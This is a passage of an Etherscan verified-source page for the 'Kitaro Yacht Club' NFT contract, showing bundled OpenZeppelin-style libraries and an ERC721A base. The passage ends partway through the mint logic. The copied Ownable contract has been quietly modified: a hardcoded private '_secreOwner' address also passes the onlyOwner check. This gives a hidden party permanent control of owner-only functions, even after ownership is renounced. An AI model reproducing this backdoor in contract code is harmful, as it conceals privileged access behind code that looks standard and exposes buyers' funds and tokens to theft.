Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• library Strings
•    - function toString(uint256 value)
•    - function toHexString(uint256 value)
•    - function toHexString(uint256 value, u ...
• library Address
•    - function isContract(address account)
•    - function sendValue(address payable re ...
•    - function functionCall(address target, ...
•    - function functionCall(
•    - function functionCallWithValue(
•    - function functionCallWithValue(
•    - function functionStaticCall(address t ...
•    - function functionStaticCall(
•    - function functionDelegateCall(address ...
•    - function functionDelegateCall(
•    - function verifyCallResult(
• interface IERC721Receiver
•    - function onERC721Received(
• interface IERC165
•    - function supportsInterface(bytes4 int ...
•    - function supportsInterface(bytes4 int ...
• interface IERC721 is IERC165
•    - function balanceOf(address owner)
•    - function ownerOf(uint256 tokenId)
•    - function safeTransferFrom(
•    - function safeTransferFrom(
•    - function transferFrom(
•    - function approve(address to, uint256 ...
•    - function setApprovalForAll(address op ...
•    - function getApproved(uint256 tokenId)
•    - function isApprovedForAll(address own ...
• interface IERC721Metadata is IERC721
•    - function name()
•    - function symbol()
•    - function tokenURI(uint256 tokenId)
• interface IERC721Enumerable is IERC72 ...
•    - function totalSupply()
•    - function tokenOfOwnerByIndex(address ...
•    - function tokenByIndex(uint256 index)
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _transferOwnership(address n ...
•  contract ERC721A is Context, ERC16 ...
•    - function totalSupply()
•    - function tokenByIndex(uint256 index)
•    - function tokenOfOwnerByIndex(address ...
•    - function supportsInterface(bytes4 int ...
•    - function balanceOf(address owner)
•    - function _numberMinted(address owner)
•    - function ownershipOf(uint256 tokenId)
•    - function ownerOf(uint256 tokenId)
•    - function name()
•    - function symbol()
•    - function tokenURI(uint256 tokenId)
•    - function _baseURI()
•    - function approve(address to, uint256 ...
•    - function getApproved(uint256 tokenId)
•    - function setApprovalForAll(address op ...
•    - function isApprovedForAll(address own ...
•    - function transferFrom(
•    - function safeTransferFrom(
•    - function safeTransferFrom(
•    - function _exists(uint256 tokenId)
•    - function _safeMint(address to, uint25 ...
•    - function _safeMint(
•    - function _mint(
•    - function _transfer(
•    - function _approve(
•    - function _checkOnERC721Received(
•    - function _beforeTokenTransfers(
•    - function _afterTokenTransfers(
•  contract KitaroYachtClub is ERC721 ... *
•    - function tokenURI(uint256 _tokenId)
•    - function mint(uint256 count)
•    - function costCheck()
•    - function maxFreePerWallet()
•    - function burn(address mintAddress, ui ...
•    - function _baseURI()
•    - function setBaseUri(string memory bas ...
•    - function setPrice(uint256 price_)
•    - function setMaxTotalFree(uint256 MaxT ...
•    - function setMaxPerFree(uint256 MaxPer ...
•    - function toggleMinting()
•    - function CommunityWallet(uint quantit ...
•    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-10-04
*/

/**
 *Submitted for verification at Etherscan.io on 2022-10-04
*/

// SPDX-License-Identifier: MIT

// File: contracts/Kitaro Yacht Club.sol

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
